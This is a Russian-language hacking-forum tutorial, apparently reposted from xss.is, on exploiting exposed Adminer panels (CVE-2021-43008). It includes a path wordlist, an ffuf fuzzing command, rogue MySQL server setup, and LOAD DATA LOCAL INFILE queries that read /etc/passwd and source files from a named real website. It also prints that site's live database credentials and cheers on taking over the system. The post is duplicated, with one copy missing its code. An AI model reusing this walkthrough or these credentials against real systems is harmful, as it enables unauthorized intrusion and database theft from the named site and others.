D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор student / мой_телеграмм_канал
Источник: https://xss.is
Всех приветствую на четвертой части. Для удобства выложу прошлые части, чтобы вы могли ознакомиться:
#1
#2
#3
Проекты на конкурс:
Сбор криптовалюты у спортсменов
Пишем брутфорс tronscan.org на JavaScript
Идею для статьи предложил мой верный товарищ, а также лучший хакер get_com. Я прочитал его writeup и подумал, что это отличная идея для статьи, потому что ранее на форуме в деталях не обсуждалось. Также упомяну ice80 этот человек сильно помог мне финансово :smile10:
Что такое Adminer
По сути это аналог привычного phpMyAdmin. Инструмент стал популярным благодаря тому, что имеет открытый исходный код и полностью бесплатный. Некоторым разработчикам удобно управлять бд с помощью веб морды, поэтому они и устанавливают phpMyAdmin/Adminer. На сайте adminer.org есть сравнение Adminer и PMA. Суть в том, что Adminer мало весит и удобный, также поддерживает много СУБД, в то время, как PMA только Mysql и MariaDB. Adminer используется уже довольно давно в различных плагинах для WordPress, Drupal, Joomla, Magento и т.д.
Если вам интересно, как установить Adminer и настроить, то можете посмотреть этот видеоролик. CVE-2021-43008
https://nvd.nist.gov/vuln/detail/CVE-2021-43008 Access Control in Adminer versions 1.12.0 to 4.6.2 (fixed in version 4.6.3)
Способы найти Adminer
1)fuzzing. Вот вам словарик для поиска Adminer. Больше словарей в тг канале
Спойлер: wordlist.txt
/adminer
/adminer-3.0.0-en.php
/adminer-3.0.0-mysql-cs.php
/adminer-3.0.0-mysql.php
/adminer-3.0.1-en.php
/adminer-3.0.1-mysql-en.php
/adminer-3.0.1-mysql.php
/adminer-3.1.0-cs.php
/adminer-3.1.0-en.php
/adminer-3.1.0-mysql-en.php
/adminer-3.1.0-mysql.php
/adminer-3.2.0-cs.php
/adminer-3.2.0-mysql-cs.php
/adminer-3.2.0-mysql-en.php
/adminer-3.2.0-mysql.php
/adminer-3.2.1-en.php
/adminer-3.2.1-mysql-cs.php
/adminer-3.2.1-mysql-en.php
/adminer-3.2.1-mysql.php
/adminer-3.2.1.php
/adminer-3.2.2-cs.php
/adminer-3.2.2-mysql-cs.php
/adminer-3.2.2-mysql.php
/adminer-3.2.2.php
/adminer-3.3.0-cs.php
/adminer-3.3.0-en.php
/adminer-3.3.0-mysql-en.php
/adminer-3.3.0-mysql.php
/adminer-3.3.1-cs.php
/adminer-3.3.1-en.php
/adminer-3.3.1-mysql-en.php
/adminer-3.3.1-mysql.php
/adminer-3.3.2-cs.php
/adminer-3.3.2-en.php
/adminer-3.3.2-mysql-en.php
/adminer-3.3.2.php
/adminer-3.3.3-en.php
/adminer-3.3.3-mysql-en.php
/adminer-3.3.3-mysql.php
/adminer-3.3.3.php
/adminer-3.3.4-en.php
/adminer-3.3.4-mysql-en.php
/adminer-3.3.4.php
/adminer-3.4.0-en.php
/adminer-3.4.0-mysql-en.php
/adminer-3.4.0-mysql.php
/adminer-3.5.0-cs.php
/adminer-3.5.0-en.php
/adminer-3.5.0-mysql-en.php
/adminer-3.5.0-mysql.php
/adminer-3.5.0.php
/adminer-3.5.1-en.php
/adminer-3.5.1-mysql-cs.php
/adminer-3.5.1-mysql.php
/adminer-3.5.1.php
/adminer-3.6.0-cs.php
/adminer-3.6.0-en.php
/adminer-3.6.0-mysql-cs.php
/adminer-3.6.0-mysql.php
/adminer-3.6.1-cs.php
/adminer-3.6.1-mysql-cs.php
/adminer-3.6.1-mysql-en.php
/adminer-3.6.1-mysql.php
/adminer-3.6.2-cs.php
/adminer-3.6.2-mysql-cs.php
/adminer-3.6.2-mysql-en.php
/adminer-3.6.2-mysql.php
/adminer-3.6.3-cs.php
/adminer-3.6.3-mysql-cs.php
/adminer-3.6.3-mysql-en.php
/adminer-3.6.3.php
/adminer-3.6.4-cs.php
/adminer-3.6.4-en.php
/adminer-3.6.4-mysql.php
/adminer-3.7.0-cs.php
/adminer-3.7.0-en.php
/adminer-3.7.0-mysql-cs.php
/adminer-3.7.0-mysql.php
/adminer-3.7.0.php
/adminer-3.7.1-en.php
/adminer-3.7.1-mysql-en.php
/adminer-3.7.1.php
/adminer-4.0.0-cs.php
/adminer-4.0.0-mysql-cs.php
/adminer-4.0.0-mysql.php
/adminer-4.0.0.php
/adminer-4.0.1-en.php
/adminer-4.0.1-mysql-en.php
/adminer-4.0.1-mysql.php
/adminer-4.0.1.php
/adminer-4.0.2-cs.php
/adminer-4.0.2-mysql-cs.php
/adminer-4.0.2-mysql-en.php
/adminer-4.0.2-mysql.php
/adminer-4.0.2.php
/adminer-4.0.3-en.php
/adminer-4.0.3-mysql-cs.php
/adminer-4.0.3-mysql.php
/adminer-4.1.0-cs.php
/adminer-4.1.0-mysql-cs.php
/adminer-4.1.0-mysql.php
/adminer-4.1.0.php
/adminer-4.2.0-cs.php
/adminer-4.2.0-en.php
/adminer-4.2.0-mysql-en.php
/adminer-4.2.0-mysql.php
/adminer-4.2.0.php
/adminer-4.2.1-cs.php
/adminer-4.2.1-en.php
/adminer-4.2.1.php
/adminer-4.2.2-en.php
/adminer-4.2.2-mysql-cs.php
/adminer-4.2.2-mysql.php
/adminer-4.2.3-cs.php
/adminer-4.2.3-en.php
/adminer-4.2.3-mysql.php
/adminer-4.2.4-en.php
/adminer-4.2.4-mysql-cs.php
/adminer-4.2.4-mysql-en.php
/adminer-4.2.4-mysql.php
/adminer-4.2.4.php
/adminer-4.2.5-cs.php
/adminer-4.2.5-mysql-cs.php
/adminer-4.2.5-mysql-en.php
/adminer-4.2.5.php
/adminer-4.3.0-cs.php
/adminer-4.3.0-en.php
/adminer-4.3.0-mysql-en.php
/adminer-4.3.0-mysql.php
/adminer-4.3.1-cs.php
/adminer-4.3.1-en.php
/adminer-4.3.1-mysql-en.php
/adminer-4.3.1-mysql.php
/adminer-4.3.1.php
/adminer-4.4.0-en.php
/adminer-4.4.0-mysql-en.php
/adminer-4.4.0-mysql.php
/adminer-4.4.0.php
/adminer-4.5.0-cs.php
/adminer-4.5.0-mysql-cs.php
/adminer-4.5.0-mysql.php
/adminer-4.6.0-cs.php
/adminer-4.6.0-en.php
/adminer-4.6.0-mysql-cs.php
/adminer-4.6.0-mysql.php
/adminer-4.6.0.php
/adminer-4.6.1-cs.php
/adminer-4.6.1-mysql-cs.php
/adminer-4.6.1-mysql.php
/adminer-4.6.1.php
/adminer-4.6.2-en.php
/adminer-4.6.2-mysql-en.php
/adminer-4.6.2.php
/adminer-4.6.3-cs.php
/adminer-4.6.3-en.php
/adminer-4.6.3-mysql-en.php
/adminer-4.6.3-mysql.php
/adminer-4.7.0-cs.php
/adminer-4.7.0-mysql-cs.php
/adminer-4.7.0-mysql.php
/adminer-4.7.1-cs.php
/adminer-4.7.1-mysql-cs.php
/adminer-4.7.1-mysql.php
/adminer-4.7.2-cs.php
/adminer-4.7.2-en.php
/adminer-4.7.2-mysql-en.php
/adminer-4.7.2-mysql.php
/adminer-4.7.2.php
/adminer-4.7.3-en.php
/adminer-4.7.3-mysql-en.php
/adminer-4.7.3-mysql.php
/adminer.php
/wp-content/adminer.php
/wp-content/plugins/adminer/inc/editor/index.php
/wp-content/uploads/adminer.php
/adminer/
/_adminer.php
/mirasvit_adminer_mysql.php
/mirasvit_adminer_425.php
/adminer/index.php
/adminer1.php
/mirasvit_adminer_431.php
/mirasvit_adminer-4.2.3.php
/adminer-4.6.2-cs.php
/adminer-4.5.0.php
/adminer-4.3.0.php
/latest.php
/latest-en.php
/latest-mysql.php
/latest-mysql-en.php
/adminer-4.7.5.php
/adminer-4.7.5-en.php
/adminer-4.7.5-mysql.php
/adminer-4.7.5-mysql-en.php
Как фаззить рассказывал в других частях, читайте, линки выше.
Bash: Скопировать в буфер обмена
2)Обратиться сюда https://xss.is//threads/79878/
Что потребуется для работы
Нужен один дешевый VPS
https://app.bitlaunch.io за $0.018/hour поднимаем LEMP Stack with SSL
LEMP относится к набору программного обеспечения с открытым исходным кодом, которое обычно используется вместе для обслуживания веб-приложений. Термин LEMP — это аббревиатура, обозначающая конфигурацию операционной системы Linux с веб-сервером nginx (произносится как engine-x, отсюда и буква E в аббревиатуре), с данными сайта, хранящимися в базе данных MySQL, и динамическим контентом, обрабатываемым PHP.
Linux
Engine-x (nginx)
MySQL
PHP
Создаем базу данных
SQL: Скопировать в буфер обмена
Bash: Скопировать в буфер обмена
Прокомментируем bind-address, чтобы доступ к MySql был разрешен с любого адреса.
#bind-address = localhost
Перезагружаем MySql
Bash: Скопировать в буфер обмена
Создаем таблицу "tab" с колонкой "1"
Эксплуатация уязвимости
Тестовый сервер VPS с Adminer.php - http://ip/adminer.php
уязвимый таргет https://www.stuprint.com/
Пофаззив пути, находим в корне файл adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Вбиваем в Server - ip (наш сервер)
Username - root
Password - 123456Pas
Database - test
или можно так - https://www.stuprint.com/adminer-4.2.2-mysql.php?server=ip&username=root&db=test&sql=
и сразу попадаем в SQL command
сюда копипастим это:
SQL: Скопировать в буфер обмена
Нажимаем Execute и видим Query executed OK, 46 rows affected на зелененьком фоне. Это значит что мы можем прочитать файл /etc/passwd и даже можем прочитать index.php
Сайт уязвим.
Теперь нам надо найти конфигурационный файл и относительный путь к нему.
Узнаем что это за CMS.
Какой вебсервер.
Хостер.
Сколько сайтов крутится на этом сервере.
Всё это надо знать для правильного поиска.
В данном случае это самопис и методом ненаучного тыка мы определяем относительный путь /home/stuprint/public_html/index.php
в SQL command пишем:
SQL: Скопировать в буфер обмена
Он его находит. Теперь нам надо посмотреть этот /index.php
Для этого я использую https://github.com/allyshka/Rogue-MySql-Server (Сторонний сервер MySQL, который может использоваться для использования ЛОКАЛЬНОГО INFILE и чтения произвольных файлов с клиента) у нас он уже установлен
Копируем файл rogue_mysql_server.py на наш сервер в корень и подключаемся к нему через SSH используя putty
Будем использовать следующие команды:
Bash: Скопировать в буфер обмена
Меняем 30 строчку файла rogue_mysql_server.py в '/home/stuprint/public_html/index.php'
Останавливаем сервер
Bash: Скопировать в буфер обмена
Запускаем скрипт
Bash: Скопировать в буфер обмена
И в браузере просто перезагружаем страницу где у нас админер.
Должно стать - Query executed OK, 0 rows affected в окне браузера
в putty появятся ошибки, нажимаем ctrl+c в putty
И создается файл mysql.log в корне нашего атакующего сервака с содержимым файла /index.php
Смотрим его.
Можно глазки поломать. Поэтому в notepade++ или другом делаем следующее:
меняем ctrl+F Replace \n на xssxssxss при Search Mode Normal
и xssxssxss на \n при Search Mode Extended
Лучше? Лучше! Если не получилось, то можете просто глазами поискать данные на вход в базу данных.
Также можно заюзать поиск по содержимому файла и найти слово "localhost" , рядом будут кредсы.
Находим:
PHP: Скопировать в буфер обмена
Следовательно, разработчик этого ресурса stuprint.com просто запхал конфиг от базы в index.php
Идём в браузере по пути https://www.stuprint.com/adminer-4.2.2-mysql.php
и вбиваем ТОЛЬКО hostname, username, password
потому что может быть не одна база, а несколько
ЖГИТЕ ВСЕХ, теперь эта система наша! (с)
В putty вводим команду
Bash: Скопировать в буфер обмена
Специально для любителей этичного хакинга есть райтап. Можете похожу машинку прорешать на HTB: https://zweilosec.github.io/posts/admirer/
Для любознательных, чтобы понимать как мы прочитали локальные файлы на сервере: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
Как защититься
Установить версию с официального сайта. https://github.com/vrana/adminer/releases/tag/v4.6.3
Использовать по мере необходимости. Залил, поработал, удалил adminer.php
Переименовал файл в dfoisdklhlkhsdf08.php, чтобы хацкеры не смотри найти диру с adminer.
Собираем донаты и выходить автоматизация
)0
Источник: https://xss.is
Всех приветствую на четвертой части. Для удобства выложу прошлые части, чтобы вы могли ознакомиться:
#1
#2
#3
Проекты на конкурс:
Сбор криптовалюты у спортсменов
Пишем брутфорс tronscan.org на JavaScript
Идею для статьи предложил мой верный товарищ, а также лучший хакер get_com. Я прочитал его writeup и подумал, что это отличная идея для статьи, потому что ранее на форуме в деталях не обсуждалось. Также упомяну ice80 этот человек сильно помог мне финансово :smile10:
Что такое Adminer
По сути это аналог привычного phpMyAdmin. Инструмент стал популярным благодаря тому, что имеет открытый исходный код и полностью бесплатный. Некоторым разработчикам удобно управлять бд с помощью веб морды, поэтому они и устанавливают phpMyAdmin/Adminer. На сайте adminer.org есть сравнение Adminer и PMA. Суть в том, что Adminer мало весит и удобный, также поддерживает много СУБД, в то время, как PMA только Mysql и MariaDB. Adminer используется уже довольно давно в различных плагинах для WordPress, Drupal, Joomla, Magento и т.д.
Если вам интересно, как установить Adminer и настроить, то можете посмотреть этот видеоролик. CVE-2021-43008
https://nvd.nist.gov/vuln/detail/CVE-2021-43008 Access Control in Adminer versions 1.12.0 to 4.6.2 (fixed in version 4.6.3)
Способы найти Adminer
1)fuzzing. Вот вам словарик для поиска Adminer. Больше словарей в тг канале
Спойлер: wordlist.txt
/adminer
/adminer-3.0.0-en.php
/adminer-3.0.0-mysql-cs.php
/adminer-3.0.0-mysql.php
/adminer-3.0.1-en.php
/adminer-3.0.1-mysql-en.php
/adminer-3.0.1-mysql.php
/adminer-3.1.0-cs.php
/adminer-3.1.0-en.php
/adminer-3.1.0-mysql-en.php
/adminer-3.1.0-mysql.php
/adminer-3.2.0-cs.php
/adminer-3.2.0-mysql-cs.php
/adminer-3.2.0-mysql-en.php
/adminer-3.2.0-mysql.php
/adminer-3.2.1-en.php
/adminer-3.2.1-mysql-cs.php
/adminer-3.2.1-mysql-en.php
/adminer-3.2.1-mysql.php
/adminer-3.2.1.php
/adminer-3.2.2-cs.php
/adminer-3.2.2-mysql-cs.php
/adminer-3.2.2-mysql.php
/adminer-3.2.2.php
/adminer-3.3.0-cs.php
/adminer-3.3.0-en.php
/adminer-3.3.0-mysql-en.php
/adminer-3.3.0-mysql.php
/adminer-3.3.1-cs.php
/adminer-3.3.1-en.php
/adminer-3.3.1-mysql-en.php
/adminer-3.3.1-mysql.php
/adminer-3.3.2-cs.php
/adminer-3.3.2-en.php
/adminer-3.3.2-mysql-en.php
/adminer-3.3.2.php
/adminer-3.3.3-en.php
/adminer-3.3.3-mysql-en.php
/adminer-3.3.3-mysql.php
/adminer-3.3.3.php
/adminer-3.3.4-en.php
/adminer-3.3.4-mysql-en.php
/adminer-3.3.4.php
/adminer-3.4.0-en.php
/adminer-3.4.0-mysql-en.php
/adminer-3.4.0-mysql.php
/adminer-3.5.0-cs.php
/adminer-3.5.0-en.php
/adminer-3.5.0-mysql-en.php
/adminer-3.5.0-mysql.php
/adminer-3.5.0.php
/adminer-3.5.1-en.php
/adminer-3.5.1-mysql-cs.php
/adminer-3.5.1-mysql.php
/adminer-3.5.1.php
/adminer-3.6.0-cs.php
/adminer-3.6.0-en.php
/adminer-3.6.0-mysql-cs.php
/adminer-3.6.0-mysql.php
/adminer-3.6.1-cs.php
/adminer-3.6.1-mysql-cs.php
/adminer-3.6.1-mysql-en.php
/adminer-3.6.1-mysql.php
/adminer-3.6.2-cs.php
/adminer-3.6.2-mysql-cs.php
/adminer-3.6.2-mysql-en.php
/adminer-3.6.2-mysql.php
/adminer-3.6.3-cs.php
/adminer-3.6.3-mysql-cs.php
/adminer-3.6.3-mysql-en.php
/adminer-3.6.3.php
/adminer-3.6.4-cs.php
/adminer-3.6.4-en.php
/adminer-3.6.4-mysql.php
/adminer-3.7.0-cs.php
/adminer-3.7.0-en.php
/adminer-3.7.0-mysql-cs.php
/adminer-3.7.0-mysql.php
/adminer-3.7.0.php
/adminer-3.7.1-en.php
/adminer-3.7.1-mysql-en.php
/adminer-3.7.1.php
/adminer-4.0.0-cs.php
/adminer-4.0.0-mysql-cs.php
/adminer-4.0.0-mysql.php
/adminer-4.0.0.php
/adminer-4.0.1-en.php
/adminer-4.0.1-mysql-en.php
/adminer-4.0.1-mysql.php
/adminer-4.0.1.php
/adminer-4.0.2-cs.php
/adminer-4.0.2-mysql-cs.php
/adminer-4.0.2-mysql-en.php
/adminer-4.0.2-mysql.php
/adminer-4.0.2.php
/adminer-4.0.3-en.php
/adminer-4.0.3-mysql-cs.php
/adminer-4.0.3-mysql.php
/adminer-4.1.0-cs.php
/adminer-4.1.0-mysql-cs.php
/adminer-4.1.0-mysql.php
/adminer-4.1.0.php
/adminer-4.2.0-cs.php
/adminer-4.2.0-en.php
/adminer-4.2.0-mysql-en.php
/adminer-4.2.0-mysql.php
/adminer-4.2.0.php
/adminer-4.2.1-cs.php
/adminer-4.2.1-en.php
/adminer-4.2.1.php
/adminer-4.2.2-en.php
/adminer-4.2.2-mysql-cs.php
/adminer-4.2.2-mysql.php
/adminer-4.2.3-cs.php
/adminer-4.2.3-en.php
/adminer-4.2.3-mysql.php
/adminer-4.2.4-en.php
/adminer-4.2.4-mysql-cs.php
/adminer-4.2.4-mysql-en.php
/adminer-4.2.4-mysql.php
/adminer-4.2.4.php
/adminer-4.2.5-cs.php
/adminer-4.2.5-mysql-cs.php
/adminer-4.2.5-mysql-en.php
/adminer-4.2.5.php
/adminer-4.3.0-cs.php
/adminer-4.3.0-en.php
/adminer-4.3.0-mysql-en.php
/adminer-4.3.0-mysql.php
/adminer-4.3.1-cs.php
/adminer-4.3.1-en.php
/adminer-4.3.1-mysql-en.php
/adminer-4.3.1-mysql.php
/adminer-4.3.1.php
/adminer-4.4.0-en.php
/adminer-4.4.0-mysql-en.php
/adminer-4.4.0-mysql.php
/adminer-4.4.0.php
/adminer-4.5.0-cs.php
/adminer-4.5.0-mysql-cs.php
/adminer-4.5.0-mysql.php
/adminer-4.6.0-cs.php
/adminer-4.6.0-en.php
/adminer-4.6.0-mysql-cs.php
/adminer-4.6.0-mysql.php
/adminer-4.6.0.php
/adminer-4.6.1-cs.php
/adminer-4.6.1-mysql-cs.php
/adminer-4.6.1-mysql.php
/adminer-4.6.1.php
/adminer-4.6.2-en.php
/adminer-4.6.2-mysql-en.php
/adminer-4.6.2.php
/adminer-4.6.3-cs.php
/adminer-4.6.3-en.php
/adminer-4.6.3-mysql-en.php
/adminer-4.6.3-mysql.php
/adminer-4.7.0-cs.php
/adminer-4.7.0-mysql-cs.php
/adminer-4.7.0-mysql.php
/adminer-4.7.1-cs.php
/adminer-4.7.1-mysql-cs.php
/adminer-4.7.1-mysql.php
/adminer-4.7.2-cs.php
/adminer-4.7.2-en.php
/adminer-4.7.2-mysql-en.php
/adminer-4.7.2-mysql.php
/adminer-4.7.2.php
/adminer-4.7.3-en.php
/adminer-4.7.3-mysql-en.php
/adminer-4.7.3-mysql.php
/adminer.php
/wp-content/adminer.php
/wp-content/plugins/adminer/inc/editor/index.php
/wp-content/uploads/adminer.php
/adminer/
/_adminer.php
/mirasvit_adminer_mysql.php
/mirasvit_adminer_425.php
/adminer/index.php
/adminer1.php
/mirasvit_adminer_431.php
/mirasvit_adminer-4.2.3.php
/adminer-4.6.2-cs.php
/adminer-4.5.0.php
/adminer-4.3.0.php
/latest.php
/latest-en.php
/latest-mysql.php
/latest-mysql-en.php
/adminer-4.7.5.php
/adminer-4.7.5-en.php
/adminer-4.7.5-mysql.php
/adminer-4.7.5-mysql-en.php
Как фаззить рассказывал в других частях, читайте, линки выше.
Bash: Скопировать в буфер обмена
Код:
ffuf -u FUZZ/FU2Z -w domain.txt:FUZZ -w wordlist.txt:FU2Z -o adminer.html -of html
firefox adminer.html
2)Обратиться сюда https://xss.is//threads/79878/
Что потребуется для работы
Нужен один дешевый VPS
https://app.bitlaunch.io за $0.018/hour поднимаем LEMP Stack with SSL
LEMP относится к набору программного обеспечения с открытым исходным кодом, которое обычно используется вместе для обслуживания веб-приложений. Термин LEMP — это аббревиатура, обозначающая конфигурацию операционной системы Linux с веб-сервером nginx (произносится как engine-x, отсюда и буква E в аббревиатуре), с данными сайта, хранящимися в базе данных MySQL, и динамическим контентом, обрабатываемым PHP.
Linux
Engine-x (nginx)
MySQL
PHP
Создаем базу данных
SQL: Скопировать в буфер обмена
Код:
-- Создаем базу данных
CREATE DATABASE test;
CREATE USER 'root'@'%' IDENTIFIED BY 'Password1';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'Password1';
exit
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf
Прокомментируем bind-address, чтобы доступ к MySql был разрешен с любого адреса.
#bind-address = localhost
Перезагружаем MySql
Bash: Скопировать в буфер обмена
sudo systemctl restart mysql
Создаем таблицу "tab" с колонкой "1"
Эксплуатация уязвимости
Тестовый сервер VPS с Adminer.php - http://ip/adminer.php
уязвимый таргет https://www.stuprint.com/
Пофаззив пути, находим в корне файл adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Идём по пути и видим админер - https://www.stuprint.com/adminer-4.2.2-mysql.php
Вбиваем в Server - ip (наш сервер)
Username - root
Password - 123456Pas
Database - test
или можно так - https://www.stuprint.com/adminer-4.2.2-mysql.php?server=ip&username=root&db=test&sql=
и сразу попадаем в SQL command
сюда копипастим это:
SQL: Скопировать в буфер обмена
Код:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE tab
FIELDS TERMINATED BY "\n"
Сайт уязвим.
Теперь нам надо найти конфигурационный файл и относительный путь к нему.
Узнаем что это за CMS.
Какой вебсервер.
Хостер.
Сколько сайтов крутится на этом сервере.
Всё это надо знать для правильного поиска.
В данном случае это самопис и методом ненаучного тыка мы определяем относительный путь /home/stuprint/public_html/index.php
в SQL command пишем:
SQL: Скопировать в буфер обмена
Код:
LOAD DATA LOCAL INFILE '/home/stuprint/public_html/index.php'
INTO TABLE tab
FIELDS TERMINATED BY "\n"
Для этого я использую https://github.com/allyshka/Rogue-MySql-Server (Сторонний сервер MySQL, который может использоваться для использования ЛОКАЛЬНОГО INFILE и чтения произвольных файлов с клиента) у нас он уже установлен
Копируем файл rogue_mysql_server.py на наш сервер в корень и подключаемся к нему через SSH используя putty
Будем использовать следующие команды:
Bash: Скопировать в буфер обмена
Код:
sudo service mysql stop
sudo service mysql start
python /var/www/html/rogue_mysql_server.py
Останавливаем сервер
Bash: Скопировать в буфер обмена
sudo service mysql stop
Запускаем скрипт
Bash: Скопировать в буфер обмена
python /var/www/html/rogue_mysql_server.py
И в браузере просто перезагружаем страницу где у нас админер.
Должно стать - Query executed OK, 0 rows affected в окне браузера
в putty появятся ошибки, нажимаем ctrl+c в putty
И создается файл mysql.log в корне нашего атакующего сервака с содержимым файла /index.php
Смотрим его.
Можно глазки поломать. Поэтому в notepade++ или другом делаем следующее:
меняем ctrl+F Replace \n на xssxssxss при Search Mode Normal
и xssxssxss на \n при Search Mode Extended
Лучше? Лучше! Если не получилось, то можете просто глазами поискать данные на вход в базу данных.
Также можно заюзать поиск по содержимому файла и найти слово "localhost" , рядом будут кредсы.
Находим:
PHP: Скопировать в буфер обмена
Код:
$stud_hostname="localhost";
$stud_database="stuprint_live";
$stud_username="stuprint_stuprin";
$stud_password="group7851";
Идём в браузере по пути https://www.stuprint.com/adminer-4.2.2-mysql.php
и вбиваем ТОЛЬКО hostname, username, password
потому что может быть не одна база, а несколько
ЖГИТЕ ВСЕХ, теперь эта система наша! (с)
В putty вводим команду
Bash: Скопировать в буфер обмена
sudo service mysql start
Специально для любителей этичного хакинга есть райтап. Можете похожу машинку прорешать на HTB: https://zweilosec.github.io/posts/admirer/
Для любознательных, чтобы понимать как мы прочитали локальные файлы на сервере: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
Как защититься
Установить версию с официального сайта. https://github.com/vrana/adminer/releases/tag/v4.6.3
Использовать по мере необходимости. Залил, поработал, удалил adminer.php
Переименовал файл в dfoisdklhlkhsdf08.php, чтобы хацкеры не смотри найти диру с adminer.
Собираем донаты и выходить автоматизация
View hidden content is available for registered users!